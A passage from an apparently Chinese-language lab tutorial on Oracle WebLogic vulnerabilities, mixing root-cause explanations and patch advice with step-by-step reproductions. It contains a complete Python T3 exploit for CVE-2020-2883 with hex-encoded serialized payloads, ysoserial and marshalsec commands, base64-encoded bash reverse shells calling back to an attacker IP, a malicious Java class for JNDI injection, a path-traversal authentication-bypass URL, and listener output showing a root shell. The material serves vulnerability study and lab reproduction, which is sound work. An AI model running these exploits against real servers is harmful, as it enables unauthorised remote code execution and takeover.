        print('How to generate the payload :\n  java -jar ysoserial-all.jar {jrmp_client} {jrmp_listener_ip}:{jrmp_listener_port} > payload.out')
        print('How to configure a JRMP server listener:\n  java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener {jrmp_listener_port} CommonsCollections1 "command"')
        sys.exit()

    dip = sys.argv[1]
    dport = int(sys.argv[2])
    path_payload = sys.argv[3]

    exploit(dip, dport, path_payload)
二、漏洞检测
  1. 确认 T3 协议开放
    使用 nmap 扫描目标是否开启 T3 协议： 
    1
    nmap -n -v -p7001 靶机IP --script=weblogic-t3-info
    若返回 State: OPEN 和版本信息，则存在漏洞风险。
三、攻击流程

  1. 启动 JRMP 监听服务
    在攻击机上运行 ysoserial 启动 JRMP Server，监听指定端口并绑定恶意命令： 

    1
    2
    3
    4
    5
    6
    7
    8
    ┌──(kali㉿kali)-[~/Desktop/weblogic_workplase]
    └─$ java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMjkvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}"
    * Opening JRMP listener on 1099 
    Have connection from /192.168.100.137:33292
    Reading message...
    Is DGC call for [[0:0:0, 199852631]]
    Sending return with payload for obj [0:0:0, 2]
    Closing connection

    编码命令示例（反弹 Shell）： 

    1
    2
    3
    ┌──(kali㉿kali)-[~/Desktop/weblogic_workplase]             
    └─$ echo -n "bash -i >& /dev/tcp/192.168.100.129/1234 0>&1" | base64                                     
    YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMjkvMTIzNCAwPiYx

    说明：需将原始命令 Base64 编码，绕过 Runtime.exec() 的管道符限制。

  2. 生成并发送 Payload
    使用 Python 脚本向目标发送构造的 T3 协议数据包： 

    1
    2
    3
    4
    5
    ┌──(kali㉿kali)-[~/Desktop/weblogic_workplase]                                                           
    └─$ java -jar ysoserial-all.jar JRMPClient 192.168.100.129:1099 > payload.out2

    ┌──(kali㉿kali)-[~/Desktop/weblogic_workplase]
    └─$ python CVE-2018-2628.py 192.168.100.137 7001 payload.out2

    参数说明：

    • payload.out2：为payload文件的路径。
    • JRMPClient：指定 Payload 类型（可选 JRMPClient 或 JRMPClient2）。

  3. 验证攻击结果

    • 反弹 Shell 验证：在攻击机开启监听 nc -lvp 1234，成功获取 Shell 即表示漏洞利用成功。
    1
    2
    3
    4
    5
    6
    7
    ┌──(kali㉿kali)-[~/Desktop/weblogic_workplase]
    └─$ nc -lvnp 1234
    listening on [any] 1234 ...
    connect to [192.168.100.129] from (UNKNOWN) [192.168.100.137] 45138
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@4d40c6cc4a0e:~/Oracle/Middleware/user_projects/domains/base_domain#

五、攻击阶段流程

阶段 1：触发反序列化
  • Payload 构造：
    JRMPClient 生成的 Registry 代理对象被反序列化后，触发 RemoteObjectInvocationHandler 的逻辑。
  • 绕过校验：
    WebLogic 的补丁仅拦截了直接使用 Registry 接口的反序列化操作，但 RemoteObjectInvocationHandler 的调用链并未被完全过滤。
阶段 2：JRMP 协议交互
  • 建立 JRMP 连接：
    RemoteObjectInvocationHandler 尝试连接到攻击机指定的 JRMP 服务（通过 UnicastRef 中的 TCPEndpoint）。
  • 二次反序列化：
    攻击机的 JRMP 服务返回一个 真正的恶意对象（如 CommonsCollections1），WebLogic 在接收此对象时再次触发反序列化。
阶段 3：执行恶意代码
  • 绕过黑名单：
    二次反序列化的对象（如 CommonsCollections1）通过其他利用链（非 Registry 接口）绕过黑名单。
  • 代码执行：
    最终触发 InvokerTransformer 或类似逻辑，执行系统命令。

六、漏洞修复与缓解

  1. 官方补丁升级：
    安装 Oracle 2018 年 4 月发布的 CPU 补丁（如 Patch Set Update 180417），修复反序列化逻辑并扩展黑名单。

  2. 临时缓解措施：

    • 禁用 T3 协议或限制访问 IP（通过 ConnectionFilterImpl 配置规则）。
    • 删除非必要的 wls-wsat.war 和 wls9_async_response.war 组件。

  3. 环境加固：

    • 升级 JDK 至 7u21 以上版本，避免低版本反序列化漏洞。
    • 定期扫描 WebLogic 日志，监控异常 T3 连接请求。

七、总结

CVE-2018-2628 的 本质是反序列化黑名单过滤机制不完善，结合 RMI 协议绕过实现远程代码执行。代码审计需重点关注 T3 协议处理逻辑、反序列化入口校验及补丁覆盖范围。实际利用中，攻击者常通过 JRMP 服务与 WebLogic 交互，因此网络隔离和协议控制是防御的关键。

5.CVE-2020-2883

1. 漏洞背景

CVE-2020-2883 是 Oracle WebLogic Server 中的一个高危反序列化远程代码执行（RCE）漏洞，影响版本包括 WebLogic 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0-12.2.1.5.0。攻击者通过 T3/IIOP 协议发送恶意序列化数据，绕过黑名单过滤机制，触发未授权的远程代码执行。

2. 漏洞核心原理

(1) 反序列化入口点

WebLogic 在处理 T3/IIOP 协议请求时，对传入的序列化数据执行反序列化操作。漏洞的关键在于以下两点：

  • 未严格校验输入数据：WebLogic 未对反序列化的类进行充分校验，导致恶意对象被解析。
  • 利用链（Gadget Chain）绕过黑名单：攻击者通过构造未被黑名单覆盖的类组合链，触发代码执行。
(2) 漏洞利用链（Gadget Chain）

CVE-2020-2883 的利用链基于 Apache Commons Collections 的变种或其他 WebLogic 内部类的组合。典型利用链如下：

  1. 触发点类：例如 PriorityQueue，其 readObject 方法在反序列化时会调用 comparator 的比较操作。
  2. 恶意比较器（Comparator）：例如 ExtractorComparator，通过反射调用 ValueExtractor 的 extract 方法。
  3. 代码执行类：例如 ReflectionExtractor 或 ChainedExtractor，最终调用 Runtime.getRuntime().exec() 执行系统命令。

示例利用链：

1
PriorityQueue -> ExtractorComparator -> ChainedExtractor -> ReflectionExtractor -> Runtime.exec()
(3) 绕过补丁机制
  • 黑名单绕过：Oracle 在修复 CVE-2018-2628 时，仅将部分危险类（如 InvokerTransformer）加入黑名单。CVE-2020-2883 利用未被覆盖的类（如 ExtractorComparator）构造新利用链。
  • 动态代理与反射：通过 RemoteObjectInvocationHandler 等类动态代理恶意对象，绕过静态检测。

3. 漏洞触发流程

  1. 构造恶意序列化对象：

    • 使用 ysoserial 或自定义工具生成包含命令执行逻辑的序列化数据。
    • 示例命令：bash -c {echo,<base64编码命令>}|{base64,-d}|bash。

  2. 通过 T3 协议发送 Payload：

    • T3 协议默认监听端口 7001，攻击者将恶意数据封装为 T3 协议数据包发送至目标服务器。

  3. 反序列化触发代码执行：

    • WebLogic 反序列化恶意数据时，依次触发利用链中的类方法，最终执行系统命令。

4. 关键代码分析

(1) 反序列化入口

WebLogic 的 weblogic.rjvm.InboundMsgAbbrev 类处理 T3 协议数据，调用 readObject 方法反序列化输入流：

1
2
3
public Object readObject() throws IOException, ClassNotFoundException {
    return this.stream.readObject();
}
(2) 利用链构造

攻击者构造的恶意对象利用 ExtractorComparator 触发反射：

1
2
3
4
5
6
7
// 恶意 Comparator 触发 ValueExtractor
ExtractorComparator comparator = new ExtractorComparator();
comparator.setExtractor(new ChainedExtractor(extractors));

// 触发比较操作，反射调用 Runtime.exec()
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(...);
(3) 命令执行

最终通过反射调用 Runtime 类执行命令：

1
2
3
Method m = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) m.invoke(null);
r.exec("bash -c <恶意命令>");

5. 补丁与防御

(1) 官方补丁

Oracle 通过以下方式修复漏洞：

  • 扩展黑名单：将 ExtractorComparator、ReflectionExtractor 等类加入反序列化黑名单。
  • 增强协议过滤：限制 T3/IIOP 协议的反序列化操作。
(2) 缓解措施
  • 禁用 T3/IIOP 协议：
    1
    2
    <!-- 修改 config.xml -->
    <connection-filter>t3 127.0.0.1 allow</connection-filter>
  • 升级至最新版本：应用 Oracle 2020 年 4 月及之后的关键补丁（CPU）。
  • 网络隔离：限制 WebLogic 端口（7001、7002）的公网访问。

6.漏洞复现

（1） PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
# -*- coding: utf-8 -*-
import socket
import time
import ssl
import binascii
import urlparse
import argparse
import sys


globalProxies = {}
header = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0"
    }

def parseUrl(url):
    parsed = urlparse.urlparse(url)
    proto = parsed.scheme
    netloc = parsed.netloc
    ip = netloc
    if proto == 'http':
        port = 80
    else:
        port = 443

    if (':' in netloc):
        ip = netloc.split(':')[0]
        port = netloc.split(':')[1]

    uri = parsed.path
    return (proto, ip, port, uri)


def CVE_2020_2883(cmd):
    payload_start = 'aced0005737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b78700000000273720030636f6d2e74616e676f736f6c2e7574696c2e636f6d70617261746f722e457874726163746f72436f6d70617261746f72c7ad6d3a676f3c180200014c000b6d5f657874726163746f727400224c636f6d2f74616e676f736f6c2f7574696c2f56616c7565457874726163746f723b78707372002c636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e436861696e6564457874726163746f72889f81b0945d5b7f02000078720036636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e4162737472616374436f6d706f73697465457874726163746f72086b3d8c05690f440200015b000c6d5f61457874726163746f727400235b4c636f6d2f74616e676f736f6c2f7574696c2f56616c7565457874726163746f723b7872002d636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e4162737472616374457874726163746f72658195303e7238210200014900096d5f6e546172676574787000000000757200235b4c636f6d2e74616e676f736f6c2e7574696c2e56616c7565457874726163746f723b2246204735c4a0fe0200007870000000037372002f636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e5265666c656374696f6e457874726163746f72ee7ae995c02fb4a20200025b00096d5f616f506172616d7400135b4c6a6176612f6c616e672f4f626a6563743b4c00096d5f734d6574686f647400124c6a6176612f6c616e672f537472696e673b7871007e000900000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647371007e000d000000007571007e001100000002707571007e001100000000740006696e766f6b657371007e000d000000007571007e00110000000174'
    payload_lenhex = '{:04x}'.format(len(cmd))
    payload_cmdhex = binascii.b2a_hex(cmd)
    payload_end = '74000465786563770400000003767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707400013178'
    payload = payload_start + payload_lenhex + payload_cmdhex + payload_end

    return payload

class payloadtest(object):
    def __init__(self):

        self.vuln = 'cve_2020_2883'

    def t3handshake(self,sock,server_addr):
        sock.connect(server_addr)
        sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
        time.sleep(1)
        data = sock.recv(1024)
        #print data
        #print 'handshake successful'

    def buildT3RequestObject(self,sock,port):
        data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
        data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd60000000700001b19ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'
        data3 = '1a7727000d3234322e323134'
        data4 = '2e312e32353461863d1d0000000078'
        for d in [data1,data2,data3,data4]:
            sock.send(d.decode('hex'))
        time.sleep(2)
        #print 'send request payload successful,recv length:%d'%(len(sock.recv(2048)))

    def sendEvilObjData(self,sock,data):
        payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
        payload+=data
        payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
        payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
        sock.send(payload.decode('hex'))
        time.sleep(2)
        sock.send(payload.decode('hex'))
        res = ''
        n=1
        try:
            while True:
                n += 1
                res += sock.recv(4096)
                time.sleep(0.1)
                if(n>15):
                    break
        except Exception as e:
            pass
        return res

    def check(self, url, cmd,timeout, proxies=globalProxies, **args):
        (proto, ip, port, uri) = parseUrl(url)

        server_addr = (ip, int(port))
        if proto == 'https':
            sock = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
        else:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        try:
            self.t3handshake(sock,server_addr)
            self.buildT3RequestObject(sock,port)
            payload = CVE_2020_2883(cmd)
            resp = self.sendEvilObjData(sock,payload)

            print ('Payload send succeed! Please check.')

            return True
        except Exception as e:
            print ('Failed! Exception:{}'.format(str(e)))

        return False

def poc(url,cmd):
    x = payloadtest()
    return x.check(url, cmd,20)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Weblogic cve-2020-2883 Exp',
                                     usage='use "python %(prog)s --help" for more information',
                                     formatter_class=argparse.RawTextHelpFormatter)
    parser.add_argument("-u", "--url",
                        dest="url",
                        help="the url to check"
                        )

    parser.add_argument("-c", "--cmd",
                        dest="cmd",
                        help="the cmd to run on the target"
                        )
    args = parser.parse_args()
    if not args.url or not args.cmd:
        sys.exit('Please assign url and cmd!')
    poc(args.url, args.cmd)

（2）利用命令
1
python2 CVE-2020-2883_2884.py -u http://192.168.100.137:7001 -c "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMjkvMTAwODYgMD4mMQ==}|{base64,-d}|{bash,-i}"
  • 监听nv -lnvp 1234

7. 总结

CVE-2020-2883 的 核心原理 是通过 T3/IIOP 协议发送恶意序列化数据，利用 WebLogic 反序列化机制中未被覆盖的类链，绕过黑名单触发远程代码执行。其危害性在于 无需身份验证 且能完全控制服务器。防御需结合补丁升级、协议禁用和网络隔离，同时持续监控反序列化攻击向量。

6.CVE-2020-2551

CVE-2020-2551 是 Oracle WebLogic Server 中的一个高危反序列化远程代码执行（RCE）漏洞，其核心原理涉及 IIOP 协议的反序列化缺陷和 黑名单过滤机制的不完善。以下是漏洞的详细解析：

1. 漏洞背景与影响范围

  • 漏洞编号：CVE-2020-2551，CVSS 评分为 9.8（严重），利用难度低。
  • 影响版本：
    • WebLogic 10.3.6.0.0
    • WebLogic 12.1.3.0.0
    • WebLogic 12.2.1.3.0
    • WebLogic 12.2.1.4.0。
  • 协议关联：漏洞通过 IIOP（Internet Inter-ORB Protocol） 触发，该协议用于 CORBA 对象通信，默认在 WebLogic 的 7001 端口开放。

2. 漏洞核心原理

(1) 反序列化入口点

WebLogic 在处理 IIOP 协议请求时，会对传入的序列化数据执行反序列化操作。具体流程如下：

  • IIOP 请求触发：攻击者通过 InitialContext 绑定恶意对象至 IIOP 服务端，例如使用 weblogic.jndi.WLInitialContextFactory 初始化上下文。
  • 反序列化调用链：服务端在解析 IIOP 请求时，会调用 CorbaMessageMediatorImpl 类的 handleRequest 方法，最终通过 IIOPInputStream 读取并反序列化恶意数据。
(2) 利用链构造

漏洞的核心利用类是 **JtaTransactionManager**（属于 Spring 框架），其父类 AbstractPlatformTransactionManager 已被加入黑名单，但 JtaTransactionManager 自身未被过滤。攻击者通过以下步骤构造利用链：

  1. 动态代理封装：使用 Gadgets.createMemoitizedProxy 将 JtaTransactionManager 封装为 Remote 接口的动态代理对象（基于 AnnotationInvocationHandler）。
  2. JNDI 注入：通过 setUserTransactionName 设置恶意 RMI/LDAP 地址，触发目标服务器从攻击者控制的服务器加载恶意类。
  3. 反序列化执行：WebLogic 反序列化时，由于未递归检查父类，导致 JtaTransactionManager 被成功解析，最终通过 JNDI 注入执行远程代码。
(3) 黑名单绕过机制
  • 过滤机制缺陷：WebLogic 对 IIOP 协议的反序列化检查仅针对当前类名，未递归验证父类。因此，即使 AbstractPlatformTransactionManager 在黑名单中，其子类 JtaTransactionManager 仍可通过检查。
  • 动态代理绕过：通过动态代理（如 Remote 接口）隐藏真实类名，绕过静态黑名单检测。

3. 漏洞利用流程

  1. 构造恶意序列化对象：
    • 使用 ysoserial 生成 JtaTransactionManager 的序列化对象，并关联恶意 RMI 服务地址（如 rmi://attacker-ip/Exploit）。
  2. 发送 IIOP 请求：
    • 通过 InitialContext.bind() 方法将恶意对象绑定至目标 WebLogic 的 IIOP 服务端口（7001）。
  3. 触发反序列化：
    • WebLogic 解析请求时，触发 IIOPInputStream 的反序列化操作，加载并执行 RMI 服务中的恶意类（如远程加载 exp.class 执行系统命令）。

4. 补丁与防御措施

  • 官方补丁：Oracle 在 2020 年 1 月发布的补丁中扩展了黑名单，并修复了 CorbaUtils 类的反序列化逻辑，添加递归类名检查。
  • 临时缓解方案：
    • 禁用 IIOP 协议：在 WebLogic 控制台中取消“启用 IIOP”选项，并重启服务。
    • 网络隔离：限制 7001 端口的公网访问，仅允许可信 IP 通信。

5. 技术意义与启示

  • 协议安全性：IIOP 协议的反序列化漏洞再次凸显了分布式协议设计中输入校验的重要性。
  • 防御纵深：单纯依赖黑名单的防御机制存在局限性，需结合白名单、行为监控等多层防护。
  • 漏洞利用趋势：该漏洞的公开利用代码（如结合 Cobalt Strike）表明，攻击者正越来越多地利用反序列化漏洞实现高级持久化攻击。

6.漏洞复现流程

以下是 CVE-2020-2551 漏洞复现的详细流程，结合多篇技术文档和实践总结：

一、环境准备

  1. 靶机环境

    • 推荐使用 Vulhub 的 CVE-2017-10271 环境（已适配 CVE-2020-2551 复现）： 

      1
      2
      3
      git clone https://github.com/vulhub/vulhub.git
      cd vulhub/weblogic/CVE-2017-10271
      docker-compose up -d

    • 确保 WebLogic 服务运行在 7001 端口，访问 http://靶机IP:7001 验证服务正常。

  2. 攻击机环境

    • Java 环境：需安装 JDK 1.8（部分工具需 JDK 1.6 编译）。
    • 工具准备：
      • marshalsec：用于启动恶意 RMI 服务（下载地址）。
      • weblogic_CVE_2020_2551.jar：Payload 发送工具（需从开源项目编译或下载预编译版本）。
二、漏洞利用步骤
1. 生成恶意类文件

  • 编写恶意类（如 exp.java）： 

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    import java.io.IOException;
    public class exp {
        static {
            try {
                // 示例：弹出计算器（Windows）或执行其他命令
                Runtime.getRuntime().exec("calc.exe");
                // 反弹 Shell 示例（Linux）：
                // Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/攻击机IP/端口 0>&1"});
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }

  • 编译为 .class 文件（需兼容低版本 JDK）： 

    1
    javac exp.java -source 1.6 -target 1.6
2. 启动 HTTP 服务托管恶意类
  • 在恶意类所在目录启动 Python HTTP 服务： 
    1
    python3 -m http.server 80  # 或 python -m SimpleHTTPServer 80（Python2）
3. 启动恶意 RMI 服务
  • 使用 marshalsec 启动 RMI 服务： 
    1
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://攻击机IP/#exp" 1099
    • http://攻击机IP/#exp 指向托管 exp.class 的 HTTP 服务。
4. 发送 Payload 触发漏洞

  • 使用 weblogic_CVE_2020_2551.jar 发送恶意请求： 

    1
    java -jar weblogic_CVE_2020_2551.jar 靶机IP 7001 rmi://攻击机IP:1099/exp
    • 参数说明：
      • 靶机IP:7001：目标 WebLogic 的 IIOP 服务地址。
      • rmi://攻击机IP:1099/exp：恶意 RMI 服务地址。

image-20250405230643974

三、验证漏洞利用

  1. 观察攻击机 HTTP 日志：

    • 若 WebLogic 触发了恶意类加载，HTTP 服务会记录对 exp.class 的请求。

  2. 执行效果验证：

    • Windows 靶机：成功会弹出计算器（calc.exe）。
    • Linux 靶机：通过 nc 监听指定端口获取反弹 Shell。

  3. WebLogic 日志排查：

    • 检查 WebLogic 日志（logs/access.log 或 server.log），若出现 JtaTransactionManager 相关错误，表明漏洞触发成功。

7.CVE-2018-2894

1. 漏洞背景与入口点

CVE-2018-2894 是 Oracle WebLogic Server 中的一个高危任意文件上传漏洞，允许攻击者通过未授权页面直接上传恶意文件（如 JSP Webshell）并获取服务器权限。漏洞的核心入口点为 WebLogic 管理端的两个未授权接口：

  • /ws_utc/begin.do
  • /ws_utc/config.do
    这两个页面在开发模式下默认开启，而在生产模式下需手动启用“Web 服务测试页”选项。

2. 漏洞触发机制

漏洞的核心原理在于 WebLogic 对用户设置的工作目录（Work Home Dir）缺乏安全校验，具体流程如下：

  1. 工作目录修改：
    攻击者通过 config.do 页面将 Work Home Dir 设置为 WebLogic 应用的静态资源目录（如 /u01/oracle/.../war/css），该目录无需权限即可访问。

    • 关键点：程序会自动将旧目录内容复制到新目录，但未限制路径合法性，导致攻击者可指定任意可写路径。

  2. 文件上传逻辑：

    • 在 config.do 或 begin.do 页面的“安全”选项中，攻击者上传恶意文件（如 JSP Webshell）。
    • 文件名生成规则为 **时间戳_文件名**（如 1535682238190_webshell.jsp），其中时间戳通过请求参数或返回包获取。

  3. 文件保存路径：
    上传的文件被保存至 Work Home Dir 目录下的 keystore 子目录，路径为： 

    1
    http://目标IP:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

    由于该路径无需权限，攻击者可直接访问并执行恶意文件。

3. 漏洞利用条件

  • 目标环境：
    • WebLogic 版本为 10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3 。
    • 开发模式或生产模式下启用了“Web 服务测试页”选项。
  • 攻击前提：
    • 需获取 WebLogic 管理端登录凭据（弱口令或通过日志泄露）。

4. 漏洞技术细节

  • 路径校验缺失：
    WebLogic 在处理 Work Home Dir 修改时，未验证路径合法性，攻击者可将其指向任意可写目录（如静态资源目录）。程序自动复制文件时，未过滤危险文件类型（如 JSP）。
  • 文件名拼接漏洞：
    文件名由 timestamp 参数与上传文件名拼接生成，未进行过滤，导致攻击者可控制最终文件名。
  • 权限控制缺陷：
    config.do 和 begin.do 页面在开发模式下无需认证即可访问，生产模式下虽需认证，但若攻击者获取凭据仍可触发漏洞。

5. 防御与修复建议

  1. 官方补丁：升级至 Oracle 2018 年 7 月及之后的版本，修复路径校验和文件名生成逻辑。
  2. 访问控制：
    • 禁用 config.do 和 begin.do 页面的未授权访问。
    • 在生产模式下关闭“Web 服务测试页”功能。
  3. 网络隔离：限制 WebLogic 管理端（7001 端口）的公网暴露。
  4. 入侵检测：部署 IPS/WAF 监控对 /ws_utc/ 路径的异常请求。

6. 漏洞影响与意义

该漏洞 CVSS 评分为 9.8，攻击者可利用低权限账户或弱口令直接上传 Webshell，导致服务器完全沦陷。其技术意义在于揭示了中间件管理界面设计中的权限校验缺陷，以及路径控制不严导致的文件操作风险。

8.CVE-2020-14882

以下是关于 CVE-2020-14882 漏洞核心原理的详细解析，结合多个技术分析来源总结其攻击路径与关键机制：

1. 漏洞背景与影响

CVE-2020-14882 是 Oracle WebLogic Server 管理控制台中的一个权限绕过漏洞，允许未经身份验证的攻击者直接访问后台管理界面。结合 CVE-2020-14883（后台任意命令执行漏洞），攻击者可构造完整的利用链，实现远程代码执行（RCE）并完全控制目标服务器。
影响版本：WebLogic 10.3.6.0、12.1.3.0、12.2.1.3、12.2.1.4、14.1.1.0。

2. 核心原理分析

2.1 静态资源路径校验缺陷

WebLogic 管理控制台（/console）在处理静态资源请求时（如 /css/*、/images/*），未对请求路径进行严格的权限验证。攻击者通过构造 二次URL编码的路径穿越符号（%252E%252E%252F，即 ../），将请求伪装为静态资源访问，绕过权限校验逻辑。
示例攻击URL：

1
http://target:7001/console/css/%252e%252e%252fconsole.portal

此路径解码后为 /console/../console.portal，指向管理控制台的核心入口文件 console.portal，而 WebLogic 误认为该请求属于静态资源目录，从而跳过身份验证。

2.2 请求分派与权限校验流程
  1. 静态资源白名单机制：
    WebLogic 的 WebAppSecurity 模块维护了一个静态资源列表（如 CSS、JS 文件），标记为 unrestricted（无需认证）。攻击者通过路径穿越使请求匹配到白名单中的静态资源路径，触发 unrestricted=true，绕过 checkAccess 权限检查。
  2. Servlet 分派逻辑：
    请求最终被分派至 AsyncInitServlet，并进一步调用 MBeanUtilsInitSingleFileServlet 处理 .portal 文件。由于权限校验已绕过，攻击者可加载并解析 console.portal 文件，进入后台管理界面。
2.3 生命周期触发点

通过访问 .portal 文件，WebLogic 会触发 UI控件树的生命周期方法（如 init、handlePostbackData）。在解析控件树时，若请求参数包含 _nfpb=true，系统会调用 runInbound 方法，执行 HandleFactory.getHandle()，从而触发后续的代码执行逻辑（需结合 CVE-2020-14883）。

3. 漏洞利用链示例

3.1 权限绕过（CVE-2020-14882）
  • 构造恶意URL：利用路径穿越访问管理后台。
  • 绕过结果：直接进入部署管理页面，但权限受限（无法直接部署应用）。
  • 可集合14883实现远程RCE

4. 补丁与修复机制

Oracle 通过以下方式修复漏洞：

  1. 路径黑名单检测：增加对 ../ 等路径穿越符号的过滤。
  2. 权限校验增强：在 MBeanUtilsInitSingleFileServlet 处理前强制验证用户身份。
  3. 静态资源列表更新：限制非必要路径的 unrestricted 属性。

5. 总结

CVE-2020-14882 的本质是 WebLogic 对静态资源路径的权限校验逻辑缺陷，结合 URL 编码与路径穿越实现未授权访问。其危害性在于为后续代码执行漏洞（CVE-2020-14883）提供了攻击入口，形成完整的 RCE 利用链。防御建议包括及时安装官方补丁、禁用未使用的协议端口，并严格限制管理控制台的访问来源。

9.CVE-2020-14883

以下是关于 CVE-2020-14883 漏洞核心原理的深度解析，结合多个技术分析来源总结其攻击路径与关键机制：

1. 漏洞背景与定位

